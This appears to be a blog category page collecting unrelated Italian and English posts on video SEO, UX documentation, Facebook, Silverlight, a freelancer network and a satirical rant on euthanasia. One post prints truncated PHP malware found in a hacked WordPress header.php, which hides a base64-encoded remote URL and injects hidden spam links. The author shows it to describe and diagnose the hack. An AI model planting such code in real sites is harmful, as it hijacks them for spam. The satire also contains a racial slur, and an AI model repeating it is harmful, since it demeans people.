Articoli della categoria 'generale' ↓

This is a brief tutorial on Video Engine Optimization (VEO) i.e. how to optimize a video to rank well on Youtube and other video platforms.
VEO is a particular kind of “engine optimization”. When optimizing for Search Engines content, code and link structure (both internal link and backlinks) we know are the key ingredients. When it comes to video optimization code is not an option, link structure is important and content is mandatory.

Content writing

To optimize a video for good ranking all you need to do is to follow the instructions below. I provide an example video here and suggest to reverse engineer videos that rank well, just make a search for the keyword you want to optimize and see what the others did. So here are the steps:

1. choose a keyword (for my example i choose the topic: Video Engine Optimization Tutorial)
2. use it in the video filename (my original video is called: video-engine-optimization-tutorial.mov). The use of hyphens is perfectly of here to separate keywords.
3. use it in the Title (e.g. Video Engine Optimization - 30 seconds tutorial). Here the same rules for search engines optimization apply: use your keywords within the title, but don’t be to strict to them. Try to provide something interesting for the user, something that catches the eye. And don’t forget: users are on youtube for different reasons, one of them is to entertain themselves, so… be entertaining and interesting.
4. use it in the description. The description is shown in the search results with the title and a frame of the video. This is probably the moment when your copywriting techniques come handy. This is the very point when people decide weather or not clicking on your link. So write it carefully and choose the best possible frame from the video (*)
5. do some keyword research on competitors video and pick up tags for yours, including of course the keyword you want to rank well for, but do not limit to this

Link structure (backlinking)

Mi sono accorto, grazie a Google Webmaster Console, che il mio blog era stato hackato. Mi ero accorto da google analytics che le visite da motori di ricerca erano drasticamente scese nelle ultime settimane e il pageRank del blog era passato a valori ben più bassi del solito.

Nel file header.php compariva questo codice:

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3Mv'; $opt_id='6b7f3e5f93fdbe97272a041896b86fd9'; $blarr=get_option('cache_vars'); [omissis ]
foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=''; foreach($blarr['links'] as $k=>$v) $txt_out.=’‘.$k.’‘; echo str_replace(’[LINKS]‘,$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ?>

Dalla webmaster console, sezione “parole chiave”, ho notato che l’elenco di parole chiave trovate da Google durante la scansione del sito conteneva nomi di farmaci e pillole (blu).
Disabilitando cookie e CSS sono riuscito a vedere i numerosi link a siti spam che il codice qui sopra infilava nel mio blog.

User Experience 2008 - 18 Nov

Un bel corso, molto hands-on, tenuto da due persone brillanti:

Dan Brown, Nathan Curtis

Il ciclo di vita della documentazione di User Experience

La documentazione di User Experience (UX) accompagna il progetto di design, dall’inizio alla fine. Svolge diversi compiti e comunica, di volta in volta, ad audience differenti.

Nella prima fase di progetto la documentazione è di alto livello. Serve a raccontare e propagare la storia del progetto, sia al team che agli stakeholders. Tracciare le scelte di design, ratifica le decisioni, a colma i buchi nella storia, con l’aggunta di passi intermedi e dettagli. Il project manager parte da qui per fare la pianificazione delle attività.

Nella fase di sviluppo è la traccia comune per l’intero team di progetto; descrive: le interazioni, gli stati e i comportamenti del sistema, i vincoli sui dati visualizzati e quelli inseriti, l’aspeto visuale delle singole pagine, i contenuti da associare o creare per ogni pagina.

L’audience di un documento di UX è ampia: executives, product manager, site strategist, visual designer, developer, QA e copywirter.

Nella prima fase l’uso di flowchart, mappe del sito e storyboard serve a executives, product manager e site strategist a comunicare e tracciare le decisioni prese. Nella fase di sviluppo visual designer, developer, QA e copywirter hanno invece bisogno di wireframe annotati e specifiche funzionali.

Brown e Curtis consigliano di partire con un documento che sia facile da estendere, mantenere nel tempo e presentare in modo diverso a diverse audience. La loro scelta aziendale come software di riferimento per la documentazione di user experience è Adobe Indesign. Utilizzano alcuni script per la costruzione del documento a partire da una base di template che hanno creato negli anni. Purtroppo questi template non sono tra gli materiali del corso.

Si crea un primo documento di alto livello, con strategia, flow chart e mappe del sito. Questo documento viene successivamente integrato con i wireframe e le specifiche funzionali, entrando in un livello di dettaglio maggiore.

La manutenzione è un processo critico, da tenere presente fin dall’inizio, in modo che non diventi ardua nel tempo. Il processo di design, non lineare per sua natura, crea la necessità di modificare ed eliminare parti del flusso di navigazione, presentare delle varianti di pagina e tener traccia delle decisioni. Se si organizza il documento di UX in due macroparti e se si usano delle convenzioni si diminuisce drasticamente l’overhead dovuto alla manutenzione.

Nella preparazione di un documento di UX Dan Brown ci invita ad applicare i principi di user centered design al documento stesso. Se è difficile da leggere, non ha una struttura, non risponde alle domande dell’audience in modo diretto e chiaro, non è un buon documento. Sollecita di fatto gli interaction designer ad applicare le proprie conoscenze alla scrittura della documentazione.

Flow Chart e Mappe del sito

Si parte all’americana, con un esercizio in classe: disegnare a scelta un flow chart che descriva una tra queste attività:

• inserimento nota spese
• aggiunta di un contatto
• tracciamento delle ore lavorate

Discussi alcuni flow chart fatti dai partecipanti viene data la definizione di flow chart: un diagramma che mostra come una persona (o un gruppo di persone) cambi lo stato di una situazione, tipicamente manipolando e trasformando l’informazione. In modo meno astratto: è la risposta a “come fanno gli utenti a fare X?”, fornita in termini di visualizzazione di come portare a compimento una specifica azione oltre che essere uno strumento per l’individuazione dei requisiti funzionali.

Un flow chart racconta il flusso tra ha un punto iniziale e uno finale. Un esempio che è entrato nella storia è la carta figurativa che descirve il percorso fatto da Napoleone con le sue truppe durante la campagna di Russia:

Fig 1. Carta figurativa, Minard.

In una singola pagina Minard, l’autore della carta figurativa, comunica dati relativi al numero delle truppe, la direzione, le distanze, latitudine, longitudine, il tempo, la temperatura, i fiumi principali attraversati.

Prima di disegnare un flow chart ci si deve chiedere:

• come utilizzarlo, quale sarà il suo scopo
• chi è l’audience
• quanto dettaglio andremo a inserire
• se è sufficiente usare un vocabolario standard o se ne si deve inventare uno nuovo
• come definire il contesto, ovvero quante informazioni di background vanno inserite nel flow chart
• come trattare i diversi scenari, ovvero quante variazioni vanno presetate
• come strutturarlo in forma narrativa

Dan Brown ha una sua metodologia:

• individua il punto di ingresso e i punti di uscita
• definisce quali sono gli elementi: i singoli passi (boxes), i momenti di decisione (diamonds), i percorsi (paths / arrows)
• elabora gli elementi: differenzia tra diversi scenari (compresi quelli di errore), variazioni, dettagli, e gruppi di azioni
• raffina gli elementi: aggiunge note di rpoduzione, dettagli tecnici, eventi che scatenano determinate situazioni

Il vocabolaro di simboli da cui si attinge spesso non permette di raccontare nel migliore dei modi la nostra storia. Siamo liberi di inventare nuovi simboli, metterli in legenda e ricordarci sempre del nostro target.

Fig 2. Esempio di flow chart.

Il flow chart serve in particolar modo per raccontare delle azioni, è lo strumento di base dell’interaction design. La mappa del sito invece è utile a descriverne la classificazione dei contenuti ed è connessa all’information architecture. A meno che non si abbia a che fare con una web application i siti di informazione vengono bene raccontati da una mappa del sito e in alcune parti, particolari azioni, possono essere illustrate tramite flow chart.

Annotated Wireframes e Specifiche funzionali

L’ultima parte del corso riguarda la creazione dei wireframe con annotazioni e le specifiche funzionali. Nathan Curtis ci mostra diversi wireframe creati in Indesign. C’è una separazione netta tra il layer contenente l’artwork da quello con le annotazioni.

Anche in questo caso si parte con un esercizio: disegnare il wireframe di un momento specifico del flow chart creato in precedenza. Scelgo di creare il wireframe per l’inserimento della nota spese e lo discutiamo in aula. Non ne si discute tanto la bontà del design quanto la capacità documentativa.

Si arriva di seguito alla definizione di wireframe: un diagramma che rappresenta il contenuto dello schermo e le priorità/importanza degli elementi. In modo meno astratto: è la risposta a “cosa vedono gli utenti sullo schermo?”, un modo per illustrare funzionamento e comportamenti.

Operativamente occorre chiedersi:

• chi è l’audience
• quanto aderente all’aspetto finale deve essere
• che livello di dettaglio si deve raggiungere
• in che formato finale viene presentato
• qual è il numero di persone che lavorano al documento (sviluppatori, IxD, information architect, copywriter, ..)
• qual è il minimo necessario che posso fare per le diverse audience?

Con ogni probabilità questo è il documento più dettagliato e comprensibile che gli stackeholder e l’intero team di progetto avranno sotto mano per diverso tempo, finchè non si iniziano a vedere i primi prototipi o addirittura il sito/applicazione funzionante.

E’ importante perciò che questo documento sia utilizzato per ratificare le decisioni di design, che Dan Brown ricorda non debbono essere motivate da “la mia opinione è che…” quanto piuttosto da ricerche, letteratura e user data. Una delle trappole più insidiose è quella di trovarsi a discutere in una riunione basandosi solo sulle opinioni.

Durante una presentazione è importante fare domande per:

• validare quanto fatto
• chiarire se manca qualcosa
• scegliere tra le diverse alternative presentate (e quindi eliminarne alcune variazioni)
• comprendere le implicazioni a livello funzionale e organizzativo di ciò che si sta presentantdo, ovvero assicurarsene la fattibilità sia tecnica che a livello di orgranizzazione

Anche Nathan Curtis ha una sua metodologia operativa:

• definisce quali sono gli elementi: aree di contenuto, descrizione, priorità
• elabora gli elementi: elementi interattivi, annotazioni, scenari e varianti, razionali
• raffina gli elementi: layout e visual design, contesto e contenuti d’esempio

Il documento di UX, contenente il flow chart, mappa del sito e wireframe annotati deve avere una struttura rigorosa. In particolare per la sezione relativa ai wireframe annotati i consigli sono: proporzionare bene lo spazio per l’artwork e quello per le annotazioni tenendo in considerazione la quantità di dettaglio alla quale si desidera arrivare, che annotazioni e artwork devono stare vicini e che deve esserci un formato standard per tutto il documento. Scegliere i template che si utilizzano per presentare variazioni di pagina o di componenti,  piuttosto che altri tipi di imamgine o di struttura.

Nathan Curtis prende in rassegna diversi tipi di annotazioni: overlay, callout e markers. In pratica negli esempi che mostra l’uso dei marker (in particolare dei notched marker e dei margin marker) è quello prevalente. Si tratta quasi sempre di annotazioni puntuali. I callout a square braket e outline servono invece a raggruppare il soggetto delle annotazioni.

Fig 3. Notched marker e corrispondente annotazione.

La notazionè è numerata se si sta decrivendo una lista di oggetti, per favorire la lettura, mentre invece utilizza le lettere quando indica dati e tabelle, variazioni di pagina e componenti. Il marker deve essere posizionato con precisione in modo da non risultare ambiguo. Quando si mostrano variazioni di pagina, è bene non diplicare le parti che rimangono invariate, ma concentrarsi sui componenti o gli elementi che variano. Questo per motivi di convenienza in fase di manutenzione.

Per l’annotazione di un wireframe si procede come segue:

• si inserisce il wireframe nella pagina
• lo si divide in elementi, che vengono marcati
• si dettaglia ogni elemento
• ne si identificano gli attributi, tipicamente:
  1. comportamento (es. onclick, onmouseover, …)
  2. stato (es. visibile|nascoso)
  3. dati (es. [nome cognome], o l’uso delle {parentesi graffe} per descrivere un contenuto opzionale
  4. eventuali guide editoriali per i copywirter e per il SEO

La rappresentazione dei dati all’interno di un wireframe è stato un momento importante del pomeriggio. Riassumendo quanto detto:

• il “lorem ipsum” va bene solo per testi lunghi
• i dati reali rischiano di sviare l’attenzione degli stakeholder, che si concentrano sui dati invece che sull’interfaccia
• i dati fittizzi (es. Mario Rossi) hanno lo stesso problema, possono essere confusi per dati veri e posso essere interpretati in modo ambiguo.
• le [label] sembrano essere il migliore compromesso nella maggior parte dei casi, anche se si deve fare attenzione che non rappresentano visivamente il dato e quindi possono trarre in inganno come dimensioni (es: [codice fiscale], [nome], [cognome], …). Inoltre se si intende fare dei test di usabilità è meglio usare dati fittizzi/reali

Integrazione dei contenuti

Una delle sfide più ardue è l’integrazione deicontenuti con l’interfaccia utente in modo che la user experience risulti seamless. Una delle prime difficoltà è dovuta al fatto che contenuto e interfaccia di solito hanno diversi responsabili, processi di approvazione e livello di dettaglio.

Se pensiamo a un progetto come composto da:

• struttura: relazioni e reperibilità - responsabili: information designer
• contenuto: voce, linguaggio e leggibilità - responsabili: copywriter, content strategist e SEO
  
• interazione: comportamento e usabilità - responsabili: interaction designer

Queste tre aree devono cooperare in mododo da consentire:

1. istruzioni e feedback tra contenuto e interazione,
2. tassonomie e metadati tra contenuto e struttura.
3. flusso e dati tra interazione e struttura.

Infine abbiamo commentato alcuni wireframe prodotti in aula. A scopo puramente dimostrativo prendo un già buon wireframe annotato e provo a commentarlo sulla base di quanto appreso durante il corso.

Fig 4. wireframe annotato esemplificativo. Fonte: ethnographic-consulting.com

Questo wireframe presenta una divisione in tre aree:

• header e il footer contengono documentazione amministrativa
• artwork (il wireframe)
• le annotazioni (sul lato destro)

il wireframe descrive il contenuto delle quattro aree in cui è diviso lo schermo, anche se “get started” e il footer con l’about us non sono tenuti in considerazione. La scelta dello spazio riservato alle annotazioni mi fa pensare a un documento non particolarmente dettagliato, che descrive gli elementi funzionali e la navigazione. Per la scelta dei marker Nathan avrebbe preferito i notched marker, e un’enumerazione a lettere (A, B, C, …).

I marker non vengono ripetuti sul lato destro, con i contenuti, perdendo un po’ di leggibilità. Non sono visibili gli elementi interattivi, per i quali si dovrebbe utilizzare il colore blu (link, bottoni, …) . Le aree indicate dai marker sono omogenee e pertanto non è stato necessare usare un outline per indicarle.

Riporto l’articolo del mitico Chinaski. Questa volta ha superato se stesso! In meglio.

Se si potesse governare il paese da dietro un blog mi augurerei che si candidasse alle prossime elezioni.

Wololo

“Per quanto mi riguarda vale ancora il metodo classico, per capire se un essere umano è o non è morto, ovvero tastare il polso, strizzare le palle e mettere uno specchietto sotto il naso per vedere se dentro c’è ancora  qualcuno. Trovo invece ridicolo questo bisticciarsi un cadavere approfittandosi del suo smarrimento, disquisendo filosoficamente sulla sottile separazione concettuale tra la vita e la morte e facendo passare gli anni tenendolo attaccato a macchinari che lo fanno respirare, pompare, bere, mangiare e spurgare, magari muovendogli le mani con fili sottili e manovrando le mandibole per fargli emettere messaggi pubblicitari. Che poi, i casi sono due: o è davvero morto e allora stai perdendo soldi e tempo, con tutto che per un famigliare la cosa può rappresentare l’innaturale e malsano prolungamento di uno strazio senza fondo, oppure, beh, è ancora vivo. Sì, cazzo, contro ogni ragione scientifica attualmente disponibile, anche se i calcoli e le tabelle dicono che no, non può più sentire né provare niente, lui invece è lì, vivo, silenziosamente sepolto dentro se stesso per uno, due, dieci, cento anni e senza poter muovere un muscolo, senza potersi nemmeno grattare il culo, senza poter fare altro che pensare e ripensare al nero infinito. È un rischio che non farei correre a nessuno, se devo essere sincero. Sei fisicamente morto, irrimediabilmente andato? Allora io stacco tutto, bello, e ci si vede al prossimo giro.
Ma a quel punto arrivano loro, sempre loro, i non so più come insultarli, guidati dal più famoso cadavere semovente del mondo. Arrivano – ma in senso figurato, visto che fanno tutto da casa tramite un simulatore tipo Age of Empires che gira su Windows 98 – e cominciano con la solita solfa: la vita è sacra, abbasso il relativismo culturale (dove per relativismo culturale intendiamo: non avere la nostra opinione), i bambini portavano provocanti minigonne e così via. Che fa anche ridere, a pensarci, perché molta gente si fa suggerire cosa fare della propria vita da certa altra gente che della vita non ha mai avuto esperienza diretta, e infatti non oso immaginare cosa succederà quando arriveranno dal Padreterno, con il bagaglio esistenziale di un rasoio elettrico:

Il prete morto sta seduto sulla poltrona dell’ufficio di Dio. Dio esamina dei fogli con gli occhialini in punta di naso. Esami del sangue, esami del tono muscolare, dati biografici dettagliati.

Dio: ma che cazz…
Prete: qualcosa che non va, Sire?
Dio: ma come? Non ti sei usato.
Prete: eh, ma…
Dio: incredibile. Scusa, abbassati pantaloni e mutande un secondo.
Prete: …
Dio: avanti, su, o te li tolgo io ma passando dall’alto.
Prete: uh, ok. Ecco fatto.
Dio: …
Prete: …
Dio: c’è ancora il cellofan.
Prete: è che proprio non sapevo come…
Dio: bah. Mai visto sprecare così le proprie ferie.
Prete: ferie?
Dio: già. Comunque. Trovi elmetto, mascherina e piccozza nella stanza qui accanto.
Prete: ma ci deve essere un err…
Dio: il prossimo.

Veramente. Io andrei dal Papa e gli scaricherei un povero disgraziato in stato vegetale da accudire, lavare, nutrire e tutto il resto, dicendogli che, oh, ecco una vita da difendere, rimboccati le maniche (ma lui chiamerebbe un assistente per chiamare un assistente per affidare l’incarico all’aiutante di un sostituto di un maggiordomo negro).
Ma alla fine la parte più irritante sta sempre in questo pretendere di conoscere il volere di Dio alla perfezione e di interferire subito dopo sulla mia sovranità personale. Ma che ne sai, mi dico: magari Dio vorrebbe la mia anima accanto a sé nella gloria eterna del regno dei cieli e tu mi tieni qui a vegetare in un letto d’ospedale per vent’anni a guardarmi l’interno delle palpebre degli occhi. Come faccio a non odiarti? Oppure, che resta la più probabile, Dio non ha nessun volere e non ce l’ha per il semplice fatto che non esiste (o che esiste ma è un fascio di luce verde), e allora, ci arrivi da te, non mi devi rompere le palle.”

Questo annuncio è dedicato a tutti coloro che cercano un’alternativa valida alle seguenti opzioni offerte ad oggi dal mercato del lavoro:

• essere disoccupati
• lavorare da “impiegato delle poste” 8 ore al giorno
• fare lo schiavo per un’azienda 12 ore al giorno, 5/6 giorni su 7, tutto l’anno, tutta la vita

Come dire, se vuoi fare un lavoro interessante c’è un’unica soluzione, entri in un’azienda la mattina all’alba e ci esci la sera che il sole ha già fatto capolino. Tutto questo viene retribuito con un salario dignitoso, a volte anche molto buono, ma a quale prezzo? Quello di doverti costruire una vita nel rimanente giorno e mezzo della settimana rimasto a disposizione. E come si fa a costruirsi un vita in questo modo?

Noi di 10people crediamo che sia possibile lavorare 7 mesi all’anno, guadagnando il giusto e vivendo una vita dignitosa ricca di interessi. Non ci serve la BMW per stare bene, quanto piuttosto dei pomeriggi all’aria aperta, una mattinata in piscina, un martedì in snowboard, un weekend passato a lavorare con l’idea che si sta facendo qualcosa di davvero speciale e ce la si vuole mettere tutta fino in fondo, con il sorriso negli occhi e la soddisfazione per l’eccellenza che in questo modo si può mettere in ogni cosa che si fa.

Come funziona 10people? 10people è una rete di professionisti, al cui interno si creano team in base alle esigenze di un progetto. Per esempio per un sito di ecommerce serviranno: information designer, graphic designer, sviluppatori front end (che sia flash, flex, html, …), sviluppatori back-end (che programmino in php, ruby, …), SEO/ SEM strategist (che si occupino del lancio e che curino le modalità di attrazione al sito), web editor (che si occupino dei contenuti), un coordinatore di progetto (che assicuri puntualità e rispetto della qualità dell’output). Per una video installazione alcune delle persone potrebbero essere le stesse, ma il team di lavoro cambia sensibilmente.

Questo approccio ha un doppio vantaggio:

• per il cliente, che non paga il ricarico del costo di una struttura fissa
• per il professionista, che può decidere quando prendere progetti e impegnarsi duramente, oppure fare altro

La nostra rete si sta ampliando. Se credi di poter contribuire in qualche modo - non ti chiediamo nessun impegno fisso, in base a quanto hai voglia di lavorare e ovviamente a quanto sei capace - scrivi a catani at gmail.com mandando un portfolio con i tuoi lavori e presentandoti.

Quando un problema a due variabili è difficile, spesso, basta aggiungerne una terza per farlo diventare di banale soluzione. Ovviamente la difficoltà del problema sta nel capire che va aggiunta una terza variabile.

Faccio un esempio. Ho una bottiglia A di acqua e una B di birra. Come faccio a scambiare il contenuto delle due bottiglie? Uso una terza bottiglia C, di passaggio.

Lo stesso succede nella programmazione. Ho due variabili che voglio scambiare di valore, A(=7) e B(=5). Mi tocca anche in questo caso fare un’operazione del tipo - anche se pare che questo non sia necessario in Ruby, Python, …

C = A; (C=7)
A = B; (A=5)
B = C; (B=7)

In flatlandia, l’autore passa da due a tre dimensioni per poter far immaginare al lettore l’esistenza della quarta dimensione.

Sono tanti in rete gli esempi di business model che funzionano solo perchè esistono tre variabili, anche se spesso ci accorgiamo solo dell’esistenza di due. Sono tutti sistemi a tre partecipanti, in cui il terzo paga per entrare in un mercato fondato sulla relazione tra le altre parti, di carattere gratuito (interessante articolo a riguardo). Per esempio Google offre ai propri utenti un servizio di ricerca gratuito. Chi paga? Chi genera revenews per Google? Gli inserzionisti con adWords.

Morale della favola, se un problema a due variabili vi sembra difficile, provate per esercizio ad aggiungerne una terza.

Who owns a specific knowledge in your Enterprise? How easy is it to find knowledge holders? Can you do it with a few clicks? And how do you award valuable knowledge holders?

The sad truth is that big enterprises suffer from the massiveness of their size and their burocracy. For talented, or just willing to contribute, is difficult to emerge. Managers often hire a consultant, whom skills are well known and “advertised”, without knowing they have the right people in their company, ready to shoot!

Web 2.0 teach us something: the larger the information set the easier it is to find useful information - allowing favouriting, commenting, tagging and rating important information emerges from a flat schema.

As pageRank (google trademark) brings order to the Web, skillRank can be a solution to bring order to the Enterprise.

SkillRank is an analysis algorithm that assigns a numerical weighting to each tag associated to user’s contribution, be it a document, a picture, an article, a video, … basically everything that can be tagged, rated, favourited or commented.

The idea behind skillRank algorithm is that when a user contributes to an enterprise environment she’s actually contributing for what her skills and interests are. Other users can appreciate the quality of the contribution performing certain actions on the contribute. This propagates the user herself. The algorithm is tag-centric, i.e. the user inherits the tag associated to the contribution.

The algorithm works more or less like this:

• CONTENT gets tagged when published (editor tag has more value, let’s say 10 votes). The tag vote propagates to the USER (just 1 vote)
• CONTENT can be tagged after other users read it. This count 1 vote (for each user tagging) for the CONTENT. This vote propagates to the USER
• CONTENT can be tagged when other users save it to their “favourites”. This vote (one for each user favouriting) propagates to the USER
• CONTENT gets rated: the vote propagates to the USER (-2 -1 0 +1 +2 based on the number of stars)

This algorithm is moving its first steps. Any idea or comment will be very appreciated.

Facebook in Italia ha raggiunto una massa critica tale che anche i media tradizionali hanno iniziato a parlarne. Mi riferisco in particolare all’articolo apparso su Internazionale, di Tom Hodgkinson, che scrive per the Guardian. La sensazione che ho avuto leggendo l’articolo è che sia stato scritto da qualcuno che conosce l’argomento per sentito dire, non per eseprienza diretta. Posso supporre che abbia addirittura aperto un account su facebook, magari anche cliccando qua e la per vedere cosa accadeva. Hodgkinson le persone preferisce incontrarle al bar, e probabilmente, per rimanere in contatto con chi non vive dietro l’angolo scrive letterine profumate. A ognuno le sue scelte per carità, ad irritarmi è semplicemente il tono arrogante e di superiorità che accomapgna tutto il pezzo, l’arroganza tipica di chi ignora le cose.

Facebook, nato nel 2004 ad opera di uno studente di Harvard, Mark Zuckerberg, è oggi una delle piattaforme di social networking di maggior successo. Ecco perchè:

• è facile da usare, le funzioni base (caricare foto, scrivere a un amico, aggiungere un amico, ..) sono intuitive, le funzionalità più avanzate si imparano gradualmente
• utilizza l’effetto network in modo sia implicito che esplicito
• si può utilizzare da diversi device (device agnostic)
• come un videogioco tiene sempre in allerta, inviando email di notifica ad ogni interazione, ovvero numerose call to action (troppe? decisamente si, ma si possono disabilitare in modo selettivo)
• architettura aperta per scrivere applicazioni di terze parti

Se fossi uno studente che studia antropologia culturale, farei sicuramente la mia tesi su facebook. Anzi se qualcuno legge questo articolo e vuole fare una tesi a riguardo, l’accolgo a braccia aperte.
Non dico con ciò che Facebook sia un bene ovviamente. Sto descrivendo le caratteristiche di Facebook come un medico descriverebbe quelle di un virus. Non faccio il tifo per il virus, non sono contento quando un’applicazione mi chied di invitare degli amici ogni volta che la voglio utilizzare, non sono contento che di default qualsiasi cosa io faccia venga visualizzata nel mio profilo, nella mia history e via dicendo.
Ma soprattutto non sono contento di una caratteristica che affligge in particolare tutti coloro che utilizzano molto il computer per lavoro. Ovvero che lo stesso strumento che si usa per lavorare diventa anche uno strumento che tiene incollate le persone allo schermo per diverse altre ore nel corso della giornata, per poter promuovere le proprie “relazioni sociali”. E spesso le persone che stanno dietro queste relazioni diventano esigenti, e chiedono continue attenzioni (vi ricordate il tamagotchi? eccone una versione peer to peer), o forse semplicemente facebook amplifica, utilizzando sapientemente il fattore psicologico, la necessità di fare un salto sul sito per rispondere a impulsi inviati. Il tutto penetra sempre più nelle vite delle persone, durante l’orario di lavoro, durante una cena, durante un film, durante una conversazione…

SilverLight è il nuovo prodotto di Microsoft che fa concorrenza a Flash di Adobe. Non ho ancora avuto modo di toccare con mano nè il nuovo actionscript 3 nè il silverlight, ma credo che sarà una bella lotta e sono curioso di sapere come andrà a finire.

Flash gode di una storia ormai consolidata e di un nuovo linguaggio di programmazione davvero OOP, ha il plugin più installato della storia dei plugin, ha dettato uno standard di fatto per il video su web (non dimentichiamoci che youtube usa FLV), è ricco di componenti. Lato sviluppo l’ho sempre trovato scarso dal punto di vista del debugging, ha un’interfaccia utente (IDE) che è di coccio e specilmente su mac talvolta irritante (parlo in particolare della finestra delle action) e nasconde insidiosi bug su alpha layer, interruzione dei caricamenti, e funzioni come il setInterval…

D’altro canto MS è famosa per i suoi bug, ma mette a disposizione un’intero pacchetto che fa da concorrenza alla CS3 di Adobe. Mi sembra difficile che un intero popolo di web designer cambi dall’oggi al domani, ma stiamo a vedere (il potere dei soldi può sempre stupire). D’altronde non posso di certo dire di essere soddisfatto di dreamweaver CS3, che ogni volta che mi sposto da un tab all’altro mi fa girare la clessidra per un minuto (e le palle per più tempo ancora).
Dal sito si silverlight vedo che almeno microsoft un po’ si è sbattuta e concede gratuitamente un servizio di hosting in streaming che invece Adobe non ha mai dato e che è sempre stato il compagno sfigato di flash (Flash Media Server 2).

Che dire… il sito di Silverlight si vede bene anche su firefox (anche firefox ultimamente è diventato un chiodo… no internet explorer no, non ne voglio sapere), chissà che i tempi non stiano cambiando

Mamma diceva spesso che il congiuntivo è molto indicativo. Io, nel mio lavoro di web designer - a proposito: designer non è che disegna ma chi progetta - incontro spesso altri fattori parecchio indicativi.

Con gli anni ho imparato a diffidare di chi usa il pronome personale per riferirsi a un computer: “poi LUI prende la richiesta dell’utente”, o “l’utente inserisce username e password, poi LUI decide se farli accedere o no al sistema”. “Io ho impostato il backup, ma LUI non l’ha fatto”. Magia! Chi si riferisce al software o ai computer usando un pronome personale costituisce quasi sempre un problema per un team di progetto, nella fattispecie per i suoi interlocutori non “tecnici”.

Attenzione anche alla parola header. Rimango guardingo anche se sento pronuciare heeder (come in leader) invece che header (come in leather). Non si tratta di casi umani o di cattive persone, semplicemente di gente che ha passato la vita con il naso nei manuali di programmazione, ma che durante le vacanze all’estero ha avuto la saggia idea di non tirare fuori l’argomento.